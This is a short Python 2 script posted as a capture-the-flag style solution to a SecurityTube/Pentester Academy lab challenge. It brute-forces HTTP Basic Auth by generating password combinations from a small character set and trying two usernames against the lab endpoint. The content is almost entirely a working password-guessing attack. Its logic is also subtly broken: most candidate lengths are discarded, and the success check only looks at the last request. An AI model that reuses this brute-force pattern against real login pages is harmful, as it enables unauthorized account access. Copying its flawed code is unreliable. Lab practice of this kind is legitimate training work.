iSecur1ty.org - Securitytube challenge 3 solution

#!/usr/bin/env python

import requests
from requests.auth import HTTPBasicAuth

"""
Solution Coded By : Ahmed Sherif - iSecur1ty.org

"""
pass_list = 'asd'

for current in xrange(5):
    a = [i for i in pass_list]
    for y in xrange(current):
        a = [x+i for i in pass_list for x in a]


username = ['nick','admin']







for passw in a :
    for user in username:


        send = requests.post("https://pentesteracademylab.appspot.com/lab/webapp/basicauth",auth=HTTPBasicAuth(user, passw))

    if "Unauthorized" not in send.text:
        print("Yes it worked " + passw)
        break
    else:
        print("Not Connected with pass %s and user %s") %(passw,user)